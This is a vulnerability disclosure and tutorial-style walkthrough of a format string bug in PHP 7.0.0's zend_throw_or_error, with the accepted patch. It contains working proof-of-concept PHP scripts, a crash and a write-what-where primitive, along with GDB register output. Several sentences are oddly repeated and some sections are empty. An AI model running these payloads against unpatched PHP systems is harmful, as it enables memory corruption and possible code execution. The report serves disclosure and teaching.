Format string vulnerability in zend_throw_or_error()
A format string vulnerability in PHP 7.0.0 allowed an attacker to cause a crash or potentially achieve code execution by using a non-existent class name containing format specifiers. The issue was traced to the zend_throw_or_error function and fixed by passing the message as a format argument.
- Fixed in 18 days
- Paid in 18 days
- Disclosed after 19 days
Reference:
Description:
A format string vulnerability exists in PHP-7.0.0 due to how non-existent class names are handled. From my limited research I believe this issue is exploitable for full code execution (see test script below). This issue does not appear to be present in previous PHP versions. Also note that this is NOT the same issue as #70895 or #70914.
I traced the vulnerable call to "zend_throw_or_error" in Zend/zend_execute_API.c:221 and created a patch to fix the issue. This patch was accepted by the PHP team on 12/12/2015.
Test script:
Simple Example (segfault)
<?php $name="%n%n%n"; $name::doSomething(); ?>
Write-what-where Example
andrew@thinkpad /tmp/php-7.0.0_64 % cat /tmp/test.php
<?php
ini_set("memory_limit", "4G");
$rdx = 0x42424242; // what
$rax = 0x43434343; // where
$name = "%" . ($rdx - 8) . "d" . "%d" . "%n" . str_repeat("A", ($rax - 34));
$name::doSomething();
?>
andrew@thinkpad /tmp/php-7.0.0_64 % gdb sapi/cli/php
GNU gdb (GDB) 7.10
Copyright (C) 2015 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-unknown-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from sapi/cli/php...done.
(gdb) r /tmp/test.php
Starting program: /tmp/php-7.0.0_64/sapi/cli/php /tmp/test64.php
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/libthread_db.so.1".
Program received signal SIGSEGV, Segmentation fault.
0x0000000000672935 in xbuf_format_converter (xbuf=xbuf@entry=0x7fffffffa610, is_char=is_char@entry=1 '\001', fmt=<optimized out>, ap=0x7fffffffa658)
at /tmp/php-7.0.0_64/main/spprintf.c:744
744 *(va_arg(ap, int *)) = is_char? (int)((smart_string *)xbuf)->len : (int)ZSTR_LEN(((smart_str *)xbuf)->s);
(gdb) i r
rax 0x43434343 1128481603
rbx 0x7fffb2800016 140736188121110
rcx 0x6e 110
rdx 0x42424242 1111638594
rsi 0x7fffffff9db0 140737488330160
rdi 0x7fffffffa658 140737488332376
rbp 0x1 0x1
rsp 0x7fffffff9d50 0x7fffffff9d50
r8 0x7fffffff9db0 140737488330160
r9 0x7fffb2800016 140736188121110
r10 0x0 0
r11 0x0 0
r12 0x20 32
r13 0x7fffffffa610 140737488332304
r14 0x0 0
r15 0x4242423a 1111638586
rip 0x672935 0x672935 <xbuf_format_converter+1845>
eflags 0x10202 [ IF RF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
(gdb) x/1i $rip
=> 0x672935 <xbuf_format_converter+1845>: mov DWORD PTR [rax],edx
(gdb)
Patch:
My proposed patch, which was accepted by the PHP team in commit b101a6b.
diff -rup php-7.0.0_old/Zend/zend_execute_API.c php-7.0.0_new/Zend/zend_execute_API.c
--- php-7.0.0_old/Zend/zend_execute_API.c 2015-12-01 07:36:25.000000000 -0600
+++ php-7.0.0_new/Zend/zend_execute_API.c 2015-12-12 12:24:24.999391117 -0600
@@ -218,7 +218,7 @@ static void zend_throw_or_error(int fetc
zend_vspprintf(&message, 0, format, va);
if (fetch_type & ZEND_FETCH_CLASS_EXCEPTION) {
- zend_throw_error(exception_ce, message);
+ zend_throw_error(exception_ce, "%s", message);
} else {
zend_error(E_ERROR, "%s", message);
}
Context
PHP 7.0.0 mishandled non-existent class names. When code referenced a class that did not exist, the engine built an error message and passed it back into a formatting function as if it were a format string. That turned a user-controlled class name into a format string, which is the classic recipe for memory corruption.
The researcher traced the vulnerable call to zend_throw_or_error in Zend/zend_execute_API.c:221 and produced a patch that the PHP team accepted on 12/12/2015. The report links the PHP 7 changelog entry for 7.0.1. The researcher notes that the issue does not appear to be present in previous PHP versions, and that it is not the same issue as #70895 or #70914.
Setup
The work was done against a local build of PHP 7.0.0 on 64-bit Linux, using the CLI SAPI (sapi/cli/php) and GDB 7.10 for analysis. The write-what-where test raises the memory limit to 4G. No remote service, account or role is involved: the precondition is simply the ability to make the application reference an attacker-influenced class name that does not exist.
Finding it
The report states that a format string vulnerability exists in PHP 7.0.0 due to how non-existent class names are handled. From limited research, the researcher believed the issue was exploitable for full code execution. A simple example with a class name consisting of %n specifiers causes a segmentation fault.
Exploitation
Step 1: Confirm the crash
The simple test script uses a class name made of three %n specifiers and then calls a static method on it:
<?php $name="%n%n%n"; $name::doSomething(); ?>
Because the class does not exist, PHP builds an error message containing the class name and formats it. The %n specifiers are interpreted by the formatter, which writes the number of characters produced so far to addresses taken from the argument list. Those addresses are not controlled here, so the process segfaults. That crash is the signal that the class name is being treated as a format string.
Step 2: Turn the crash into a controlled write
The write-what-where script builds a class name that both supplies the value to write and steers where it lands:
<?php
ini_set("memory_limit", "4G");
$rdx = 0x42424242; // what
$rax = 0x43434343; // where
$name = "%" . ($rdx - 8) . "d" . "%d" . "%n" . str_repeat("A", ($rax - 34));
$name::doSomething();
?>
The name is assembled from four parts:
%followed by($rdx - 8)andd, a width-padded decimal conversion that emits a large number of characters so the running output length equals the intended value (0x42424242).%d, a second conversion that consumes the next argument.%n, which writes the current output length to the address supplied by the corresponding argument.- A run of
Acharacters,($rax - 34)of them, which positions the intended target address (0x43434343) where the formatter will read it as the argument for%n.
Step 3: Observe the write in GDB
The researcher ran the script under GDB against the CLI binary:
andrew@thinkpad /tmp/php-7.0.0_64 % gdb sapi/cli/php
After starting the program with the test script, the process received SIGSEGV inside xbuf_format_converter in main/spprintf.c:744:
Program received signal SIGSEGV, Segmentation fault.
0x0000000000672935 in xbuf_format_converter (xbuf=xbuf@entry=0x7fffffffa610, is_char=is_char@entry=1 '\001', fmt=<optimized out>, ap=0x7fffffffa658)
at /tmp/php-7.0.0_64/main/spprintf.c:744
744 *(va_arg(ap, int *)) = is_char? (int)((smart_string *)xbuf)->len : (int)ZSTR_LEN(((smart_str *)xbuf)->s);
The faulting instruction is a store to the address in rax. Inspecting the registers shows the two chosen constants in place:
rax 0x43434343 1128481603
rdx 0x42424242 1111638594
The registers show rax as 0x43434343 and rdx as 0x42424242, matching the script's comments. The instruction at the faulting address confirms the store:
=> 0x672935 <xbuf_format_converter+1845>: mov DWORD PTR [rax],edx
The process faults on a store instruction using the values from the script. The formatter attempts to write the chosen value to the chosen address, and the process segfaults.
Root cause
In zend_throw_or_error, the engine formats the error message into a buffer with zend_vspprintf(&message, 0, format, va), and then passes that already-formatted message back as the format argument to zend_throw_error:
zend_vspprintf(&message, 0, format, va);
if (fetch_type & ZEND_FETCH_CLASS_EXCEPTION) {
zend_throw_error(exception_ce, message);
} else {
zend_error(E_ERROR, "%s", message);
}
The exception branch passes message to zend_throw_error, while the else branch uses "%s". The else branch uses "%s", while the exception branch passes message directly.
Impact
The researcher states that, based on limited research, the issue is exploitable for full code execution. The report includes a write-what-where example using a non-existent class name. The report does not describe a specific remote scenario or a working code-execution chain beyond the write primitive.
Fix
The accepted patch changes the exception branch to pass "%s" before message:
diff -rup php-7.0.0_old/Zend/zend_execute_API.c php-7.0.0_new/Zend/zend_execute_API.c
--- php-7.0.0_old/Zend/zend_execute_API.c 2015-12-01 07:36:25.000000000 -0600
+++ php-7.0.0_new/Zend/zend_execute_API.c 2015-12-12 12:24:24.999391117 -0600
@@ -218,7 +218,7 @@ static void zend_throw_or_error(int fetc
zend_vspprintf(&message, 0, format, va);
if (fetch_type & ZEND_FETCH_CLASS_EXCEPTION) {
- zend_throw_error(exception_ce, message);
+ zend_throw_error(exception_ce, "%s", message);
} else {
zend_error(E_ERROR, "%s", message);
}
The patch was accepted by the PHP team in commit b101a6b.
Variants to test
Hunting notes
The report includes a simple crash example and a write-what-where example, with GDB output showing the faulting store.
References
What happened, in plain words
PHP is a programming language used to build websites. When a website written in PHP runs, a program called the PHP engine reads the code and carries it out. One of the things the engine does is handle classes. A class is a named blueprint for a piece of code; when your code says "use the class called Foo", the engine looks up Foo and uses it.
Sometimes the code asks for a class that does not exist. That is not unusual, and the engine is supposed to respond with a polite error message such as "class not found". In PHP 7.0.0, the way the engine built that error message had a flaw. The name of the missing class was placed into the message, and then the whole message was handed to a function that treats certain characters as instructions rather than as plain text. If an attacker could choose the class name, they could smuggle instructions into the engine through that name. The report includes a write-what-where example using a non-existent class name.
This kind of bug is called a format string vulnerability. The researcher who found it traced the faulty line to a function called zend_throw_or_error in the file Zend/zend_execute_API.c, wrote a patch, and the PHP team accepted that patch on 12/12/2015. The report links the PHP 7 changelog entry for 7.0.1. The researcher notes that the problem does not appear to be present in earlier PHP versions, and that it is not the same issue as #70895 or #70914.
The pieces you need to understand first
Before walking through the steps, here are the ideas the report relies on, explained from scratch.
- The PHP engine. Think of it as a kitchen that takes a recipe (your PHP code) and cooks the dish (runs the website). The engine is written in the C language, which works close to the computer's memory.
- Memory. A computer's memory is a long row of numbered boxes, each holding a small amount of data. The number of a box is its address. Programs read from and write to these boxes constantly.
- A format string. A format string is a piece of text that contains placeholders. A function reads the text and replaces each placeholder with a value. For example,
%dmeans "put a whole number here" and%smeans "put a piece of text here". It is like a form letter with blanks: "Dear ___, you owe ___ pounds." The blanks are filled in from a list of values supplied alongside the letter. - The
%nplaceholder. Most placeholders only read values.%nis different: it writes. It takes the number of characters produced so far and stores that number into a memory address supplied in the list of values. That makes%na way to write into memory through what looks like ordinary text. - Format string vulnerability. This happens when text that an attacker can influence is used as the format string itself, rather than as one of the values to be inserted. The attacker's text is then read as instructions. If the attacker writes
%n, the program tries to write to memory. This is the classic recipe for memory corruption. - Segmentation fault (segfault). When a program tries to read or write a memory box it is not allowed to touch, the operating system stops it immediately. That stop is a segfault. It is a crash, and for a security researcher a crash is often the first sign that something can be pushed further.
- Write-what-where. A very strong form of memory corruption in which the attacker controls both the value written (the "what") and the address it is written to (the "where"). It is like being able to choose both the letter and the wrong letterbox.
- Code execution. The most serious outcome: the attacker gets the computer to run their own instructions. The researcher believed, from limited research, that this bug could reach full code execution.
- CLI SAPI. PHP can run in different contexts. One of them is the command line, where you type a command and PHP runs a script directly, without a web server. That context is called the CLI SAPI. Researchers often use it because it is simple and repeatable.
- GDB. A debugger: a tool that lets you pause a running program, look at its memory and registers, and step through it instruction by instruction. It is like a slow-motion replay for software.
- Registers. Small, very fast storage slots inside the processor. When the processor performs an operation, the values involved are usually sitting in registers. Two named in this report are
raxandrdx. - A patch and a commit. A patch is a proposed edit to source code. A commit is a saved change in a code repository, with an identifier. The PHP team accepted the researcher's patch and saved it as commit b101a6b.
Setup
The work was done against a local build of PHP 7.0.0 on 64-bit Linux, using the CLI SAPI (sapi/cli/php) and GDB 7.10 for analysis. "Local build" means the researcher compiled PHP on their own machine, so they could run it, break it and inspect it freely.
The write-what-where test raises the memory limit to 4G.
Finding it
The report states that a format string vulnerability exists in PHP 7.0.0 due to how non-existent class names are handled. In other words, the class name was not treated as harmless text; it was treated as a set of formatting instructions.
From limited research, the researcher believed the issue was exploitable for full code execution. That is a strong claim, so the first job was to prove the mechanism worked at all. A simple example with a class name consisting of %n specifiers causes a segmentation fault. "Used statically" means calling a method on the class name directly, without first creating an object from it.
Exploitation
Step 1: Confirm the crash
The simple test script uses a class name made of three %n specifiers and then calls a static method on it:
<?php $name="%n%n%n"; $name::doSomething(); ?>
Line by line:
<?phpopens a block of PHP code.$name="%n%n%n";stores the text%n%n%nin a variable called$name. This variable is going to be used as a class name.$name::doSomething();asks PHP to call a method calleddoSomethingon the class named by$name. The::syntax is how PHP refers to something on a class itself rather than on an object made from it.?>closes the PHP block.
Why this step: the class %n%n%n does not exist, so PHP builds an error message containing that name and formats it. The %n specifiers are then interpreted by the formatter, which writes the number of characters produced so far to addresses taken from the argument list. Those addresses are not controlled here, so the process segfaults. That crash is the signal that the class name is being treated as a format string. It is the difference between "the engine said no" and "the engine tried to write to memory because of what I typed".
Step 2: Turn the crash into a controlled write
A crash proves the mechanism exists but not that an attacker can steer it. The write-what-where script builds a class name that both supplies the value to write and steers where it lands:
<?php
ini_set("memory_limit", "4G");
$rdx = 0x42424242; // what
$rax = 0x43434343; // where
$name = "%" . ($rdx - 8) . "d" . "%d" . "%n" . str_repeat("A", ($rax - 34));
$name::doSomething();
?>
Line by line:
ini_set("memory_limit", "4G");raises the maximum memory PHP may use to 4 gigabytes, so the large padded string can be built.$rdx = 0x42424242; // whatsets the value that should end up written. The0xprefix means the number is written in hexadecimal, a base-16 way of writing numbers that programmers use because it maps neatly onto memory contents. The comment// whatlabels it as the value.$rax = 0x43434343; // wheresets the address that should be written to. The comment// wherelabels it as the destination.$name = ...assembles the class name from four parts, described below.$name::doSomething();triggers the lookup of the non-existent class, which is where the vulnerable code runs.?>closes the PHP block.
The name is assembled from four parts:
%followed by($rdx - 8)andd, a width-padded decimal conversion that emits a large number of characters so the running output length equals the intended value (0x42424242). In plain words: "print a number, but pad it out to this enormous width". The formatter counts every character it produces, so after this part the count is the value we want to write.%d, a second conversion that consumes the next argument. It moves the formatter along to the next item in its list of values.%n, which writes the current output length to the address supplied by the corresponding argument. This is the actual write.- A run of
Acharacters,($rax - 34)of them, which positions the intended target address (0x43434343) where the formatter will read it as the argument for%n. TheAcharacters are filler: they push the bytes of the target address into the right spot in memory so that the formatter picks them up as the next value.
Step 3: Observe the write in GDB
The researcher ran the script under GDB against the CLI binary:
andrew@thinkpad /tmp/php-7.0.0_64 % gdb sapi/cli/php
This command starts the debugger and tells it to load the PHP command-line program. The prompt shows the machine name and the directory, followed by the command typed. Once inside GDB, the researcher started the program with the test script.
After starting the program with the test script, the process received SIGSEGV inside xbuf_format_converter in main/spprintf.c:744:
Program received signal SIGSEGV, Segmentation fault.
0x0000000000672935 in xbuf_format_converter (xbuf=xbuf@entry=0x7fffffffa610, is_char=is_char@entry=1 '\001', fmt=<optimized out>, ap=0x7fffffffa658)
at /tmp/php-7.0.0_64/main/spprintf.c:744
744 *(va_arg(ap, int *)) = is_char? (int)((smart_string *)xbuf)->len : (int)ZSTR_LEN(((smart_str *)xbuf)->s);
What this tells us: the program was stopped by a segmentation fault at a specific instruction, inside a function called xbuf_format_converter, at line 744 of the file main/spprintf.c. That function is the formatter, the part of PHP that processes placeholders. The line shown is the store performed by %n: it takes an address from the argument list and writes a length into it. The crash happened exactly where the report predicted.
The faulting instruction is a store to the address in rax. Inspecting the registers shows the two chosen constants in place:
rax 0x43434343 1128481603
rdx 0x42424242 1111638594
The registers show rax as 0x43434343 and rdx as 0x42424242, matching the script's comments. The decimal numbers beside each hexadecimal value are the same numbers written in base 10, which makes them easier to read at a glance. The registers show the two constants chosen in the script.
The instruction at the faulting address confirms the store:
=> 0x672935 <xbuf_format_converter+1845>: mov DWORD PTR [rax],edx
This is one processor instruction. mov means "move" (copy a value). DWORD PTR [rax] means "the four-byte location whose address is in the register rax". edx is the lower half of the register rdx, which holds the value. Read together: "write the value in edx into the memory location pointed to by rax". The instruction stores the value in edx to the address in rax.
The process faults on a store instruction using the values from the script. But the mechanism is a genuine write-what-where primitive driven entirely by the class name.
Root cause
In zend_throw_or_error, the engine formats the error message into a buffer with zend_vspprintf(&message, 0, format, va), and then passes that already-formatted message back as the format argument to zend_throw_error:
zend_vspprintf(&message, 0, format, va);
if (fetch_type & ZEND_FETCH_CLASS_EXCEPTION) {
zend_throw_error(exception_ce, message);
} else {
zend_error(E_ERROR, "%s", message);
}
Line by line:
zend_vspprintf(&message, 0, format, va);builds the error message text and stores it inmessage. This is the first formatting pass, and it is legitimate: the engine is producing a sentence such as "class not found".if (fetch_type & ZEND_FETCH_CLASS_EXCEPTION) {checks whether this particular lookup should raise an exception. An exception is PHP's way of signalling that something went wrong in a way the program can catch and handle.zend_throw_error(exception_ce, message);is the faulty line. It hands the already-built message to another function as if that message were a format string. The message contains the attacker-supplied class name, so any placeholders in that name are processed a second time.} else {is the branch taken when no exception is wanted.zend_error(E_ERROR, "%s", message);is the correct pattern. Here"%s"is a fixed format string that says "insert one piece of text", andmessageis supplied as that text. The message is treated as data, never as instructions.}closes the conditional.
The exception branch passes message to zend_throw_error, while the else branch uses "%s". The else branch uses "%s", while the exception branch passes message directly.
Impact
The researcher states that, based on limited research, the issue is exploitable for full code execution.
The report does not describe a specific remote scenario or a working code-execution chain beyond the write primitive. In other words, the researcher showed that the dangerous write is possible and controlled, but did not publish a full end-to-end attack against a particular website.
Fix
The accepted patch changes the exception branch to pass "%s" before message:
diff -rup php-7.0.0_old/Zend/zend_execute_API.c php-7.0.0_new/Zend/zend_execute_API.c
--- php-7.0.0_old/Zend/zend_execute_API.c 2015-12-01 07:36:25.000000000 -0600
+++ php-7.0.0_new/Zend/zend_execute_API.c 2015-12-12 12:24:24.999391117 -0600
@@ -218,7 +218,7 @@ static void zend_throw_or_error(int fetc
zend_vspprintf(&message, 0, format, va);
if (fetch_type & ZEND_FETCH_CLASS_EXCEPTION) {
- zend_throw_error(exception_ce, message);
+ zend_throw_error(exception_ce, "%s", message);
} else {
zend_error(E_ERROR, "%s", message);
}
How to read a diff: lines starting with - are the old code being removed, lines starting with + are the new code being added, and lines with no sign are unchanged context shown so you can see where the edit sits. The header lines name the old and new files and their timestamps.
The single change is on the faulty line. Before, the message was passed as the format string. After, "%s" is the format string and the message is passed as data. The message can now contain %n or any other placeholder without the formatter acting on it, because the formatter only ever sees the fixed "%s".
The patch was accepted by the PHP team in commit b101a6b.
Variants to test
%xprints a number in hexadecimal, so if your input suddenly appears as a hex number in the output, the formatter processed it.
Hunting notes
The report includes a simple crash example and a write-what-where example, with GDB output showing the faulting store.
References
Glossary
- Address: the number identifying a particular box in computer memory.
- Class: a named blueprint in object-oriented programming; code refers to it by name to use it.
- CLI SAPI: the way of running PHP from the command line, without a web server.
- Code execution: the attacker getting the computer to run instructions of their choosing.
- Commit: a saved change in a code repository, identified by a short hash such as b101a6b.
- Conversion specifier: a placeholder in a format string, such as
%d,%s,%xor%n. - Debugger: a tool that pauses a running program so you can inspect its memory and step through it.
- Diff: a listing that shows lines removed from and added to a file.
- Double formatting: formatting a piece of text once, then passing the result through a formatter again, so placeholders in the text are processed twice.
- Dynamic class reference: choosing which class to use at runtime from a value, rather than naming it in the source code.
- Exception: PHP's way of signalling an error that the program can catch and handle.
- Format string: text containing placeholders that a function fills in with values.
- Format string vulnerability: a bug where attacker-influenced text is used as the format string itself, so the attacker's text is read as instructions.
- GDB: the GNU debugger, used to inspect a running program.
- Hexadecimal: a base-16 way of writing numbers, written with a
0xprefix, often used to show memory contents. - Memory limit: the maximum amount of memory PHP allows a script to use.
- Memory corruption: damage caused by a program writing data where it should not.
- Patch: a proposed edit to source code.
- PHP: a programming language widely used to build websites.
- PHP engine: the program that reads and runs PHP code.
- Primitive: a basic capability an attacker has gained, such as the ability to write a chosen value to a chosen address.
- Register: a small, fast storage slot inside the processor.
- Segmentation fault (segfault): the operating system stopping a program because it touched memory it is not allowed to touch.
- SIGSEGV: the signal the operating system sends to a program when it causes a segmentation fault.
- Static call: calling a method on a class itself, using
::, rather than on an object made from the class. - Write-what-where: a memory corruption primitive where the attacker controls both the value written and the address it is written to.
%d: a format placeholder meaning "insert a whole number here".%n: a format placeholder that writes the number of characters produced so far into a memory address taken from the argument list.%s: a format placeholder meaning "insert a piece of text here".%x: a format placeholder meaning "insert a number in hexadecimal here".zend_throw_error: a PHP engine function that raises an error, taking a format string and values.zend_vspprintf: a PHP engine function that builds a formatted string from a format and a list of values.